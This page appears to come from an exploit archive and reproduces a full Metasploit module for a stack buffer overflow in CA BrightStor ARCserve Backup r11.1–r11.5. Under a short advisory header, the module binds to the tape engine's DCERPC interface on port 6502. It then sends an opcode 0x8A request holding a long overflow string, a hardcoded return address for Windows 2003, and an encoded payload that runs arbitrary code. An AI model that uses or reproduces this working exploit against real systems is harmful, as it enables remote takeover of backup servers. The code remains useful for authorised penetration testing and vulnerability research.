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CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow

CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow
Posted Sep 20, 2013
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | OSVDB-68330
SHA-256 | 9e93281c5a99b1786fc2fabf26e8375d1877b9b8ef741951fae3d0bad9d2039c

CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::DCERPC

def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '68330'],
[ 'URL', 'http://www.metasploit.com/users/mc' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
],
'DisclosureDate' => 'Oct 4 2010',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(6502) ], self.class)
end

def exploit

connect

handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")

dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

dcerpc.call(0x2B, request)

sploit = NDR.long(4)
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")

print_status("Trying target #{target.name}...")

begin
dcerpc_call(0x8A, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end

handler
disconnect

end

end
=begin
/* opcode: 0x8A, address: 0x100707D0 */

long sub_100707D0 (
[in] handle_t arg_1,
[in] long arg_2,
[in][ref][string] char * arg_3
);
=end
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